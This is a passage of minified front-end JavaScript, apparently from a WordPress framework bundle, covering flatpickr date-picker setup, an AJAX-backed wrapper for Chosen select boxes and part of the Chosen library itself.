"+p.config.altInputClass),k("onParseConfig"),G(),p.input=V(),p.input?(p.input._type=p.input.type,p.input.type="text",p.input.classList.add("flatpickr-input"),p._input=p.input,p.config.altInput&&(p.altInput=ye(p.input.nodeName,p.config.altInputClass),p._input=p.altInput,p.altInput.placeholder=p.input.placeholder,p.altInput.disabled=p.input.disabled,p.altInput.required=p.input.required,p.altInput.tabIndex=p.input.tabIndex,p.altInput.type="text",p.input.setAttribute("type","hidden"),!p.config.static&&p.input.parentNode&&p.input.parentNode.insertBefore(p.altInput,p.input.nextSibling)),p.config.allowInput||p._input.setAttribute("readonly","readonly"),p._positionElement=p.config.positionElement||p._input):p.config.errorHandler(new Error("Invalid input element specified")),p.selectedDates=[],p.now=p.parseDate(p.config.now)||new Date,(O=p.config.defaultDate||("INPUT"!==p.input.nodeName&&"TEXTAREA"!==p.input.nodeName||!p.input.placeholder||p.input.value!==p.input.placeholder?p.input.value:null))&&te(O,p.config.dateFormat),p._initialDate=0<p.selectedDates.length?p.selectedDates[0]:p.config.minDate&&p.config.minDate.getTime()>p.now.getTime()?p.config.minDate:p.config.maxDate&&p.config.maxDate.getTime()<p.now.getTime()?p.config.maxDate:p.now,p.currentYear=p._initialDate.getFullYear(),p.currentMonth=p._initialDate.getMonth(),0<p.selectedDates.length&&(p.latestSelectedDateObj=p.selectedDates[0]),void 0!==p.config.minTime&&(p.config.minTime=p.parseDate(p.config.minTime,"H:i")),void 0!==p.config.maxTime&&(p.config.maxTime=p.parseDate(p.config.maxTime,"H:i")),p.minDateHasTime=!!p.config.minDate&&(0<p.config.minDate.getHours()||0<p.config.minDate.getMinutes()||0<p.config.minDate.getSeconds()),p.maxDateHasTime=!!p.config.maxDate&&(0<p.config.maxDate.getHours()||0<p.config.maxDate.getMinutes()||0<p.config.maxDate.getSeconds()),p.utils={getDaysInMonth:function(e,t){return void 0===e&&(e=p.currentMonth),void 0===t&&(t=p.currentYear),1===e&&(t%4==0&&t%100!=0||t%400==0)?29:p.l10n.daysInMonth[e]}},!p.isMobile){var I,N=window.document.createDocumentFragment(),F=(p.calendarContainer=ye("div","flatpickr-calendar"),p.calendarContainer.tabIndex=-1,p.config.noCalendar||(N.appendChild((p.monthNav=ye("div","flatpickr-months"),p.yearElements=[],p.monthElements=[],p.prevMonthNav=ye("span","flatpickr-prev-month"),p.prevMonthNav.innerHTML=p.config.prevArrow,p.nextMonthNav=ye("span","flatpickr-next-month"),p.nextMonthNav.innerHTML=p.config.nextArrow,q(),Object.defineProperty(p,"_hidePrevMonthArrow",{get:function(){return p.__hidePrevMonthArrow},set:function(e){p.__hidePrevMonthArrow!==e&&(ve(p.prevMonthNav,"flatpickr-disabled",e),p.__hidePrevMonthArrow=e)}}),Object.defineProperty(p,"_hideNextMonthArrow",{get:function(){return p.__hideNextMonthArrow},set:function(e){p.__hideNextMonthArrow!==e&&(ve(p.nextMonthNav,"flatpickr-disabled",e),p.__hideNextMonthArrow=e)}}),p.currentYearElement=p.yearElements[0],E(),p.monthNav)),p.innerContainer=ye("div","flatpickr-innerContainer"),p.config.weekNumbers&&(F=function(){p.calendarContainer.classList.add("hasWeeks");var e=ye("div","flatpickr-weekwrapper"),t=(e.appendChild(ye("span","flatpickr-weekday",p.l10n.weekAbbreviation)),ye("div","flatpickr-weeks"));return e.appendChild(t),{weekWrapper:e,weekNumbers:t}}(),I=F.weekWrapper,F=F.weekNumbers,p.innerContainer.appendChild(I),p.weekNumbers=F,p.weekWrapper=I),p.rContainer=ye("div","flatpickr-rContainer"),p.rContainer.appendChild(W()),p.daysContainer||(p.daysContainer=ye("div","flatpickr-days"),p.daysContainer.tabIndex=-1),f(),p.rContainer.appendChild(p.daysContainer),p.innerContainer.appendChild(p.rContainer),N.appendChild(p.innerContainer)),p.config.enableTime&&N.appendChild(function(){p.calendarContainer.classList.add("hasTime"),p.config.noCalendar&&p.calendarContainer.classList.add("noCalendar");var e=Se(p.config),t=(p.timeContainer=ye("div","flatpickr-time"),p.timeContainer.tabIndex=-1,ye("span","flatpickr-time-separator",":")),n=we("flatpickr-hour",{"aria-label":p.l10n.hourAriaLabel}),i=(p.hourElement=n.getElementsByTagName("input")[0],we("flatpickr-minute",{"aria-label":p.l10n.minuteAriaLabel}));p.minuteElement=i.getElementsByTagName("input")[0],p.hourElement.tabIndex=p.minuteElement.tabIndex=-1,p.hourElement.value=pe(p.latestSelectedDateObj?p.latestSelectedDateObj.getHours():p.config.time_24hr?e.hours:function(e){switch(e%24){case 0:case 12:return 12;default:return e%12}}(e.hours)),p.minuteElement.value=pe(p.latestSelectedDateObj?p.latestSelectedDateObj.getMinutes():e.minutes),p.hourElement.setAttribute("step",p.config.hourIncrement.toString()),p.minuteElement.setAttribute("step",p.config.minuteIncrement.toString()),p.hourElement.setAttribute("min",p.config.time_24hr?"0":"1"),p.hourElement.setAttribute("max",p.config.time_24hr?"23":"12"),p.hourElement.setAttribute("maxlength","2"),p.minuteElement.setAttribute("min","0"),p.minuteElement.setAttribute("max","59"),p.minuteElement.setAttribute("maxlength","2"),p.timeContainer.appendChild(n),p.timeContainer.appendChild(t),p.timeContainer.appendChild(i),p.config.time_24hr&&p.timeContainer.classList.add("time24hr");p.config.enableSeconds&&(p.timeContainer.classList.add("hasSeconds"),n=we("flatpickr-second"),p.secondElement=n.getElementsByTagName("input")[0],p.secondElement.value=pe(p.latestSelectedDateObj?p.latestSelectedDateObj.getSeconds():e.seconds),p.secondElement.setAttribute("step",p.minuteElement.getAttribute("step")),p.secondElement.setAttribute("min","0"),p.secondElement.setAttribute("max","59"),p.secondElement.setAttribute("maxlength","2"),p.timeContainer.appendChild(ye("span","flatpickr-time-separator",":")),p.timeContainer.appendChild(n));p.config.time_24hr||(p.amPM=ye("span","flatpickr-am-pm",p.l10n.amPM[_e(11<(p.latestSelectedDateObj?p.hourElement.value:p.config.defaultHour))]),p.amPM.title=p.l10n.toggleTitle,p.amPM.tabIndex=-1,p.timeContainer.appendChild(p.amPM));return p.timeContainer}()),ve(p.calendarContainer,"rangeMode","range"===p.config.mode),ve(p.calendarContainer,"animate",!0===p.config.animate),ve(p.calendarContainer,"multiMonth",1<p.config.showMonths),p.calendarContainer.appendChild(N),void 0!==p.config.appendTo&&void 0!==p.config.appendTo.nodeType);(p.config.inline||p.config.static)&&(p.calendarContainer.classList.add(p.config.inline?"inline":"static"),p.config.inline&&(!F&&p.element.parentNode?p.element.parentNode.insertBefore(p.calendarContainer,p._input.nextSibling):void 0!==p.config.appendTo&&p.config.appendTo.appendChild(p.calendarContainer)),p.config.static&&(I=ye("div","flatpickr-wrapper"),p.element.parentNode&&p.element.parentNode.insertBefore(I,p.element),I.appendChild(p.element),p.altInput&&I.appendChild(p.altInput),I.appendChild(p.calendarContainer))),p.config.static||p.config.inline||(void 0!==p.config.appendTo?p.config.appendTo:window.document.body).appendChild(p.calendarContainer)}if(p.config.wrap&&["open","close","toggle","clear"].forEach(function(t){Array.prototype.forEach.call(p.element.querySelectorAll("[data-"+t+"]"),function(e){return a(e,"click",p[t])})}),p.isMobile){var j=p.config.enableTime?p.config.noCalendar?"time":"datetime-local":"date";p.mobileInput=ye("input",p.input.className+" flatpickr-mobile"),p.mobileInput.tabIndex=1,p.mobileInput.type=j,p.mobileInput.disabled=p.input.disabled,p.mobileInput.required=p.input.required,p.mobileInput.placeholder=p.input.placeholder,p.mobileFormatStr="datetime-local"==j?"Y-m-d\\TH:i:S":"date"==j?"Y-m-d":"H:i:S",0<p.selectedDates.length&&(p.mobileInput.defaultValue=p.mobileInput.value=p.formatDate(p.selectedDates[0],p.mobileFormatStr)),p.config.minDate&&(p.mobileInput.min=p.formatDate(p.config.minDate,"Y-m-d")),p.config.maxDate&&(p.mobileInput.max=p.formatDate(p.config.maxDate,"Y-m-d")),p.input.getAttribute("step")&&(p.mobileInput.step=String(p.input.getAttribute("step"))),p.input.type="hidden",void 0!==p.altInput&&(p.altInput.type="hidden");try{p.input.parentNode&&p.input.parentNode.insertBefore(p.mobileInput,p.input.nextSibling)}catch(e){}a(p.mobileInput,"change",function(e){p.setDate(De(e).value,!1,p.mobileFormatStr),k("onChange"),k("onClose")})}else j=me($,50),p._debouncedChange=me(o,Ae),p.daysContainer&&!/iPhone|iPad|iPod/i.test(navigator.userAgent)&&a(p.daysContainer,"mouseover",function(e){"range"===p.config.mode&&K(De(e))}),a(window.document.body,"keydown",J),p.config.inline||p.config.static||a(window,"resize",j),void 0!==window.ontouchstart?a(window.document,"touchstart",z):a(window.document,"mousedown",z),a(window.document,"focus",z,{capture:!0}),!0===p.config.clickOpens&&(a(p._input,"focus",p.open),a(p._input,"click",p.open)),void 0!==p.daysContainer&&(a(p.monthNav,"click",re),a(p.monthNav,["keyup","increment"],L),a(p.daysContainer,"click",ee)),void 0!==p.timeContainer&&void 0!==p.minuteElement&&void 0!==p.hourElement&&(a(p.timeContainer,["increment"],h),a(p.timeContainer,"blur",h,{capture:!0}),a(p.timeContainer,"click",R),a([p.hourElement,p.minuteElement],["focus","click"],function(e){return De(e).select()}),void 0!==p.secondElement&&a(p.secondElement,"focus",function(){return p.secondElement&&p.secondElement.select()}),void 0!==p.amPM&&a(p.amPM,"click",function(e){h(e),o()})),p.config.allowInput&&a(p._input,"blur",U);return(p.selectedDates.length||p.config.noCalendar)&&(p.config.enableTime&&i(p.config.noCalendar?p.latestSelectedDateObj:void 0),T(!1)),H(),n=/^((?!chrome|android).)*safari/i.test(navigator.userAgent),!p.isMobile&&n&&x(),k("onReady"),p}function n(e,t){for(var n=Array.prototype.slice.call(e).filter(function(e){return e instanceof HTMLElement}),i=[],o=0;o<n.length;o++){var s=n[o];try{null===s.getAttribute("data-fp-omit")&&(void 0!==s._flatpickr&&(s._flatpickr.destroy(),s._flatpickr=void 0),s._flatpickr=r(s,t||{}),i.push(s._flatpickr))}catch(e){console.error(e)}}return 1===i.length?i[0]:i}"undefined"!=typeof HTMLElement&&"undefined"!=typeof HTMLCollection&&"undefined"!=typeof NodeList&&(HTMLCollection.prototype.flatpickr=NodeList.prototype.flatpickr=function(e){return n(this,e)},HTMLElement.prototype.flatpickr=function(e){return n([this],e)});var Ie=function(e,t){return"string"==typeof e?n(window.document.querySelectorAll(e),t):e instanceof Node?n([e],t):n(e,t)};return Ie.defaultConfig={},Ie.l10ns={en:ce({},fe),default:ce({},fe)},Ie.localize=function(e){Ie.l10ns.default=ce(ce({},Ie.l10ns.default),e)},Ie.setDefaults=function(e){Ie.defaultConfig=ce(ce({},Ie.defaultConfig),e)},Ie.parseDate=ke({}),Ie.formatDate=Me({}),Ie.compareDates=Ee,"undefined"!=typeof jQuery&&void 0!==jQuery.fn&&(jQuery.fn.flatpickr=function(e){return n(this,e)}),Date.prototype.fp_incr=function(e){return new Date(this.getFullYear(),this.getMonth(),this.getDate()+("string"==typeof e?parseInt(e,10):e))},"undefined"!=typeof window&&(window.flatpickr=Ie),Ie}),function(r){function t(e,t){this.element=r(e),this.options=t,this.init()}t.prototype.init=function(){this.element.chosen(this.options),this.container=this.element.next(".chosen-container"),this.search_field=this.container.find(".chosen-search-input"),this.is_multiple=this.container.hasClass("chosen-container-multi"),this.is_typing=!1,this.chosenXhr=null,this.events()},t.prototype.events=function(){var e=this;this.search_field.on("compositionstart",function(){e.is_typing=!0}),this.search_field.on("compositionend",function(){e.is_typing=!1,e.update_list()}),this.search_field.on("keyup",function(){e.update_list()}),this.search_field.on("focus",function(){e.search_field_focused()})},t.prototype.search_field_focused=function(){this.search_welcome_message(),0===this.options.min_length&&0===this.search_field.val().length&&this.update_list()},t.prototype.search_welcome_message=function(){var e=r.trim(this.search_field.val()),t=this.container.find(".chosen-results");0===t.children().length&&0===e.length&&t.html('<li class="no-results">'+this.options.typing_text.replace("%s",this.options.min_length-e.length)+"</li>")},t.prototype.update_list=function(){var e,t,n=this;this.search_welcome_message(),this.is_typing||(t=(e=r.trim(this.search_field.val())).length<this.options.min_length?this.options.typing_text.replace("%s",this.options.min_length-e.length):this.options.searching_text,this.container.find(".no-results").text(t),e!==this.search_field.data("prevVal")&&(this.search_field.data("prevVal",e),this.timer&&clearTimeout(this.timer),e.length<this.options.min_length||(this.timer=setTimeout(function(){n.chosenXhr&&n.chosenXhr.abort(),n.options.data.term=e,n.chosenXhr=window.wp.ajax.post("csf-chosen",n.options.data).done(function(e){n.show_results(e)}).fail(function(e){n.container.find(".no-results").text(e.error)})},this.options.type_delay))))},t.prototype.show_results=function(e){var n,t,i,o,s=this;this.is_typing||null===e||(0===e.length?(this.element.data().chosen.no_results_clear(),this.element.data().chosen.no_results(this.search_field.val())):(n=[],this.element.find("option").each(function(){r(this).is(":selected")?n.push(r(this).val()+"-"+r(this).text()):r(this).attr("value").length&&r(this).remove()}),r.each(e,function(e,t){-1===r.inArray(t.value+"-"+t.text,n)&&r("<option />").attr("value",t.value).html(t.text).appendTo(s.element)}),t=this.search_field.val(),i=this.search_field.innerWidth(),this.element.trigger("chosen:updated"),this.is_multiple&&(o=this.element.parent().find(".csf-hide-select").val()||[],this.element.CSFChosenOrder(o,!0),this.search_field.css("width",i)),this.search_field.val(t),null!==this.chosenXhr.done&&this.chosenXhr.done(e)))},r.fn.CSFAjaxChosen=function(e){return this.each(function(){new t(this,e)})}}(jQuery),function(){var s,r,a=[].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1},l={}.hasOwnProperty;function e(){}e.insertAt=function(e,t,n){return n.insertBefore(e,n.children[t].nextSibling)},e.getFlattenedOptionsAndGroups=function(e){for(var t,n,i,o,s,r=Array.prototype.filter.call(e.childNodes,function(e){return"OPTION"===(e=e.nodeName.toUpperCase())||"OPTGROUP"===e}),a=[],l=0,c=r.length;l<c;l++)if(t=r[l],a.push(t),"OPTGROUP"===t.nodeName.toUpperCase())for(o=0,s=(i=Array.prototype.filter.call(t.childNodes,function(e){return"OPTION"===e.nodeName.toUpperCase()})).length;o<s;o++)n=i[o],a.push(n);return a},e.isValidMultipleSelectElement=function(e){return null!=e&&"SELECT"===e.nodeName&&e.multiple},e.getChosenUIContainer=function(e){return""!==e.id?document.getElementById(e.id.replace(/-/g,"_")+"_chosen"):this.searchChosenUIContainer(e)},e.isChosenified=function(e){return null!=this.getChosenUIContainer(e)},e.forceSelection=function(e,t){for(var n,i,o=this.getFlattenedOptionsAndGroups(e),s=0;s<o.length;)i=(n=o[s]).getAttribute("value"),0<=a.call(t,i)?(n.selected=!0,n.setAttribute("selected","")):(n.selected=!1,n.removeAttribute("selected")),s++;return this.triggerEvent(e,"chosen:updated")},e.CSFChosenOrder=function(e,t,n){var i,o,s,r,a,l,c,h,u,d,f,p,_;if(null!=this.getDOMElement&&(e=this.getDOMElement(e)),this.isValidMultipleSelectElement(e)&&null!=(i=this.getChosenUIContainer(e))&&t instanceof Array){for(t=t.map(Function.prototype.call,String.prototype.trim),l=this.getFlattenedOptionsAndGroups(e),null!=n&&!0===n&&this.forceSelection(e,t),_=[],o=u=0,f=t.length;u<f;o=++u){for(r=t[o],c=null,s=d=0,p=l.length;d<p;s=++d)l[s].value===r&&(c=s);a=i.querySelectorAll(".search-choice"),h=this.relAttributeName,null!=(a=Array.prototype.filter.call(a,function(e){return null!=e.querySelector("a.search-choice-close["+h+'="'+c+'"]')})[0])&&(i.querySelector("ul.chosen-choices"),_.push(this.insertAt(a,o,i.querySelector("ul.chosen-choices"))))}return _}},r=e,(s=jQuery).fn.extend({CSFChosenOrder:function(e,t){return _CSFChosenOrder.CSFChosenOrder(this,e,t)}}),this._CSFChosenOrder=function(){var e,t=o,n=r;for(e in n)l.call(n,e)&&(t[e]=n[e]);function i(){this.constructor=t}function o(){return o.__super__.constructor.apply(this,arguments)}return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,o.relAttributeName="data-option-array-index",o.isjQueryObject=function(e){return"undefined"!=typeof jQuery&&null!==jQuery&&e instanceof jQuery},o.getDOMElement=function(e){return this.isjQueryObject(e)?e.get(0):e},o.searchChosenUIContainer=function(e){return null!=s(e).data("chosen")?s(e).data("chosen").container[0]:s(e).next(".chosen-container.chosen-container-multi").get(0)},o.triggerEvent=function(e,t){return s(e).trigger(t)},o}()}.call(this),function(){var a,s,o,r,l={}.hasOwnProperty;function e(){this.options_index=0,this.parsed=[]}function c(e,t){var n,i;this.form_field=e,this.options=null!=t?t:{},this.label_click_handler=(n=this.label_click_handler,i=this,function(){return n.apply(i,arguments)}),c.browser_is_supported()&&(this.is_multiple=this.form_field.multiple,this.set_default_text(),this.set_default_values(),this.setup(),this.set_up_html(),this.register_observers(),this.on_ready())}e.prototype.add_node=function(e){return"OPTGROUP"===e.nodeName.toUpperCase()?this.add_group(e):this.add_option(e)},e.prototype.add_group=function(e){var t,n,i,o,s,r=this.parsed.length;for(this.parsed.push({array_index:r,group:!0,label:e.label,title:e.title||void 0,children:0,disabled:e.disabled,classes:e.className}),s=[],t=0,n=(o=e.childNodes).length;t<n;t++)i=o[t],s.push(this.add_option(i,r,e.disabled));return s},e.prototype.add_option=function(e,t,n){if("OPTION"===e.nodeName.toUpperCase())return""!==e.text?(null!=t&&(this.parsed[t].children+=1),this.parsed.push({array_index:this.parsed.length,options_index:this.options_index,value:e.value,text:e.text,html:e.innerHTML,title:e.title||void 0,selected:e.selected,disabled:!0===n?n:e.disabled,group_array_index:t,group_label:null!=t?this.parsed[t].label:null,classes:e.className,style:e.style.cssText})):this.parsed.push({array_index:this.parsed.length,options_index:this.options_index,empty:!0}),this.options_index+=1},(r=e).select_to_array=function(e){for(var t,n=new r,i=e.childNodes,o=0,s=i.length;o<s;o++)t=i[o],n.add_node(t);return n.parsed},c.prototype.set_default_values=function(){var t,n;return this.click_test_action=(t=this,function(e){return t.test_active_click(e)}),this.activate_action=(n=this,function(e){return n.activate_field(e)}),this.active_field=!1,this.mouse_on_container=!1,this.results_showing=!1,this.result_highlighted=null,this.is_rtl=this.options.rtl||/\bchosen-rtl\b/.test(this.form_field.className),this.allow_single_deselect=null!=this.options.allow_single_deselect&&null!=this.form_field.options[0]&&""===this.form_field.options[0].text&&this.options.allow_single_deselect,this.disable_search_threshold=this.options.disable_search_threshold||0,this.disable_search=this.options.disable_search||!1,this.enable_split_word_search=null==this.options.enable_split_word_search||this.options.enable_split_word_search,this.group_search=null==this.options.group_search||this.options.group_search,this.search_contains=this.options.search_contains||!1,this.single_backstroke_delete=null==this.options.single_backstroke_delete||this.options.single_backstroke_delete,this.max_selected_options=this.options.max_selected_options||1/0,this.inherit_select_classes=this.options.inherit_select_classes||!1,this.display_selected_options=null==this.options.display_selected_options||this.options.display_selected_options,this.display_disabled_options=null==this.options.display_disabled_options||this.options.display_disabled_options,this.include_group_label_in_selected=this.options.include_group_label_in_selected||!1,this.max_shown_results=this.options.max_shown_results||Number.POSITIVE_INFINITY,this.case_sensitive_search=this.options.case_sensitive_search||!1,this.hide_results_on_select=null==this.options.hide_results_on_select||this.options.hide_results_on_select},c.prototype.set_default_text=function(){return this.form_field.getAttribute("data-placeholder")?this.default_text=this.form_field.getAttribute("data-placeholder"):this.is_multiple?this.default_text=this.options.placeholder_text_multiple||this.options.placeholder_text||c.default_multiple_text:this.default_text=this.options.placeholder_text_single||this.options.placeholder_text||c.default_single_text,this.default_text=this.escape_html(this.default_text),this.results_none_found=this.form_field.getAttribute("data-no_results_text")||this.options.no_results_text||c.default_no_result_text},c.prototype.choice_label=function(e){return this.include_group_label_in_selected&&null!=e.group_label?"<b class='group-name'>"+this.escape_html(e.group_label)+"</b>"+e.html:e.html},c.prototype.mouse_enter=function(){return this.mouse_on_container=!0},c.prototype.mouse_leave=function(){return this.mouse_on_container=!1},c.prototype.input_focus=function(e){if(this.is_multiple){if(!this.active_field)return setTimeout((t=this,function(){return t.container_mousedown()}),50)}else if(!this.active_field)return this.activate_field();var t},c.prototype.input_blur=function(e){if(!this.mouse_on_container)return this.active_field=!1,setTimeout((t=this,function(){return t.blur_test()}),100);var t},c.prototype.label_click_handler=function(e){return this.is_multiple?this.container_mousedown(e):this.activate_field()},c.prototype.results_option_build=function(e){for(var t,n,i="",o=0,s=this.results_data,r=0,a=s.length;r<a&&((n="")!==(n=(t=s[r]).group?this.result_add_group(t):this.result_add_option(t))&&(o++,i+=n),null!=e&&e.first&&(t.selected&&this.is_multiple?this.choice_build(t):t.selected&&!this.is_multiple&&this.single_set_selected_text(this.choice_label(t))),!(o>=this.max_shown_results));r++);return i},c.prototype.result_add_option=function(e){var t,n;return e.search_match&&this.include_option_in_results(e)?(t=[],e.disabled||e.selected&&this.is_multiple||t.push("active-result"),!e.disabled||e.selected&&this.is_multiple||t.push("disabled-result"),e.selected&&t.push("result-selected"),null!=e.group_array_index&&t.push("group-option"),""!==e.classes&&t.push(e.classes),(n=document.createElement("li")).className=t.join(" "),e.style&&(n.style.cssText=e.style),n.setAttribute("data-option-array-index",e.array_index),n.innerHTML=e.highlighted_html||e.html,e.title&&(n.title=e.title),this.outerHTML(n)):""},c.prototype.result_add_group=function(e){var t,n;return(e.search_match||e.group_match)&&0<e.active_options?((t=[]).push("group-result"),e.classes&&t.push(e.classes),(n=document.createElement("li")).className=t.join(" "),n.innerHTML=e.highlighted_html||this.escape_html(e.label),e.title&&(n.title=e.title),this.outerHTML(n)):""},c.prototype.results_update_field=function(){if(this.set_default_text(),this.is_multiple||this.results_reset_cleanup(),this.result_clear_highlight(),this.results_build(),this.results_showing)return this.winnow_results()},c.prototype.reset_single_select_options=function(){for(var e,t=this.results_data,n=[],i=0,o=t.length;i<o;i++)(e=t[i]).selected?n.push(e.selected=!1):n.push(void 0);return n},c.prototype.results_toggle=function(){return this.results_showing?this.results_hide():this.results_show()},c.prototype.results_search=function(e){return this.results_showing?this.winnow_results():this.results_show()},c.prototype.winnow_results=function(e){var t,n,i,o,s,r,a,l,c,h,u,d,f;for(this.no_results_clear(),h=0,t=(a=this.get_search_text()).replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),c=this.get_search_regex(t),i=0,o=(l=this.results_data).length;i<o;i++)(s=l[i]).search_match=!1,u=null,s.highlighted_html="",this.include_option_in_results(s)&&(s.group&&(s.group_match=!1,s.active_options=0),null!=s.group_array_index&&this.results_data[s.group_array_index]&&(0===(u=this.results_data[s.group_array_index]).active_options&&u.search_match&&(h+=1),u.active_options+=1),f=s.group?s.label:s.text,s.group&&!this.group_search||(d=this.search_string_match(f,c),s.search_match=null!=d,s.search_match&&!s.group&&(h+=1),s.search_match?(a.length&&(d=d.index,r=f.slice(0,d),n=f.slice(d,d+a.length),f=f.slice(d+a.length),s.highlighted_html=this.escape_html(r)+"<em>"+this.escape_html(n)+"</em>"+this.escape_html(f)),null!=u&&(u.group_match=!0)):null!=s.group_array_index&&this.results_data[s.group_array_index].search_match&&(s.search_match=!0)));return this.result_clear_highlight(),h<1&&a.length?(this.update_results_content(""),this.no_results(a)):(this.update_results_content(this.results_option_build()),null!=e&&e.skip_highlight?void 0:this.winnow_results_set_highlight())},c.prototype.get_search_regex=function(e){var t,e=this.search_contains?e:"(^|\\s|\\b)"+e+"[^\\s]*";return this.enable_split_word_search||this.search_contains||(e="^"+e),t=this.case_sensitive_search?"":"i",new RegExp(e,t)},c.prototype.search_string_match=function(e,t){t=t.exec(e);return!this.search_contains&&null!=t&&t[1]&&(t.index+=1),t},c.prototype.choices_count=function(){var e,t,n;if(null==this.selected_option_count)for(e=this.selected_option_count=0,t=(n=this.form_field.options).length;e<t;e++)n[e].selected&&(this.selected_option_count+=1);return this.selected_option_count},c.prototype.choices_click=function(e){if(e.preventDefault(),this.activate_field(),!this.results_showing&&!this.is_disabled)return this.results_show()},c.prototype.keydown_checker=function(e){var t=null!=(t=e.which)?t:e.keyCode;switch(this.search_field_scale(),8!==t&&this.pending_backstroke&&this.clear_backstroke(),t){case 8:this.backstroke_length=this.get_search_field_value().length;break;case 9:this.results_showing&&!this.is_multiple&&this.result_select(e),this.mouse_on_container=!1;break;case 13:case 27:this.results_showing&&e.preventDefault();break;case 32:this.disable_search&&e.preventDefault();break;case 38:e.preventDefault(),this.keyup_arrow();break;case 40:e.preventDefault(),this.keydown_arrow()}},c.prototype.keyup_checker=function(e){var t=null!=(t=e.which)?t:e.keyCode;switch(this.search_field_scale(),t){case 8:this.is_multiple&&this.backstroke_length<1&&0<this.choices_count()?this.keydown_backstroke():this.pending_backstroke||(this.result_clear_highlight(),this.results_search());break;case 13:e.preventDefault(),this.results_showing&&this.result_select(e);break;case 27:this.results_showing&&this.results_hide();break;case 9:case 16:case 17:case 18:case 38:case 40:case 91:break;default:this.results_search()}},c.prototype.clipboard_event_checker=function(e){var t;if(!this.is_disabled)return setTimeout((t=this,function(){return t.results_search()}),50)},c.prototype.container_width=function(){return null!=this.options.width?this.options.width:this.form_field.offsetWidth+"px"},c.prototype.include_option_in_results=function(e){return!(this.is_multiple&&!this.display_selected_options&&e.selected)&&(!(!this.display_disabled_options&&e.disabled)&&!e.empty)},c.prototype.search_results_touchstart=function(e){return this.touch_started=!0,this.search_results_mouseover(e)},c.prototype.search_results_touchmove=function(e){return this.touch_started=!1,this.search_results_mouseout(e)},c.prototype.search_results_touchend=function(e){if(this.touch_started)return this.search_results_mouseup(e)},c.prototype.outerHTML=function(e){var t;return e.outerHTML||((t=document.createElement("div")).appendChild(e),t.innerHTML)},c.prototype.get_single_html=function(){return'<a class="chosen-single chosen-default">\n  <span>'+this.default_text+'</span>\n  <div><b></b></div>\n</a>\n<div class="chosen-drop">\n  <div class="chosen-search">\n    <input class="chosen-search-input" type="text" autocomplete="off" />\n  </div>\n  <ul class="chosen-results"></ul>\n</div>'},c.prototype.get_multi_html=function(){return'<ul class="chosen-choices">\n  <li class="search-field">\n    <input class="chosen-search-input" type="text" autocomplete="off" value="'+this.default_text+'" />\n  </li>\n</ul>\n<div class="chosen-drop">\n  <ul class="chosen-results"></ul>\n</div>'},c.prototype.get_no_results_html=function(e){return'<li class="no-results">\n  '+this.results_none_found+" <span>"+this.escape_html(e)+"</span>\n</li>"},c.browser_is_supported=function(){return"Microsoft Internet Explorer"===window.navigator.appName?8<=document.documentMode:!(/iP(od|hone)/i.test(window.navigator.userAgent)||/IEMobile/i.test(window.navigator.userAgent)||/Windows Phone/i.test(window.navigator.userAgent)||/BlackBerry/i.test(window.navigator.userAgent)||/BB10/i.test(window.navigator.userAgent)||/Android.*Mobile/i.test(window.navigator.userAgent))},c.default_multiple_text="Select Some Options",c.default_single_text="Select an Option",c.default_no_result_text="No results match",s=c,(a=jQuery).fn.extend({chosen:function(i){return s.browser_is_supported()?this.each(function(e){var t=a(this),n=t.data("chosen");"destroy"===i?n instanceof o&&n.destroy():n instanceof o||t.data("chosen",new o(this,i))}):this}}),o=function(){var e,t=o,n=s;for(e in n)l.call(n,e)&&(t[e]=n[e]);function i(){this.constructor=t}function o(){return o.__super__.constructor.apply(this,arguments)}return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,o.prototype.setup=function(){return this.form_field_jq=a(this.form_field),this.current_selectedIndex=this.form_field.selectedIndex},o.prototype.set_up_html=function(){var e=["chosen-container"];return e.push("chosen-container-"+(this.is_multiple?"multi":"single")),this.inherit_select_classes&&this.form_field.className&&e.push(this.form_field.className),this.is_rtl&&e.push("chosen-rtl"),e={class:e.join(" "),title:this.form_field.title},this.form_field.id.length&&(e.id=this.form_field.id.replace(/[^\w]/g,"_")+"_chosen"),this.container=a("<div />",e),this.container.width(this.container_width()),this.is_multiple?this.container.html(this.get_multi_html()):this.container.html(this.get_single_html()),this.form_field_jq.hide().after(this.container),this.dropdown=this.container.find("div.chosen-drop").first(),this.search_field=this.container.find("input").first(),this.search_results=this.container.find("ul.chosen-results").first(),this.search_field_scale(),this.search_no_results=this.container.find("li.no-results").first(),this.is_multiple?(this.search_choices=this.container.find("ul.chosen-choices").first(),this.search_container=this.container.find("li.search-field").first()):(this.search_container=this.container.find("div.chosen-search").first(),this.selected_item=this.container.find(".chosen-single").first()),this.results_build(),this.set_tab_index(),this.set_label_behavior()},o.prototype.on_ready=function(){return this.form_field_jq.trigger("chosen:ready",{chosen:this})},o.prototype.register_observers=function(){var t,n,i,o,s,r,a,l,c,h,u,d,f,p,_,m,g,v,y,b,w,D,C,x;return this.container.on("touchstart.chosen",(t=this,function(e){t.container_mousedown(e)})),this.container.on("touchend.chosen",(n=this,function(e){n.container_mouseup(e)})),this.container.on("mousedown.chosen",(i=this,function(e){i.container_mousedown(e)})),this.container.on("mouseup.chosen",(o=this,function(e){o.container_mouseup(e)})),this.container.on("mouseenter.chosen",(s=this,function(e){s.mouse_enter(e)})),this.container.on("mouseleave.chosen",(r=this,function(e){r.mouse_leave(e)})),this.search_results.on("mouseup.chosen",(a=this,function(e){a.search_results_mouseup(e)})),this.search_results.on("mouseover.chosen",(l=this,function(e){l.search_results_mouseover(e)})),this.search_results.on("mouseout.chosen",(c=this,function(e){c.search_results_mouseout(e)})),this.search_results.on("mousewheel.chosen 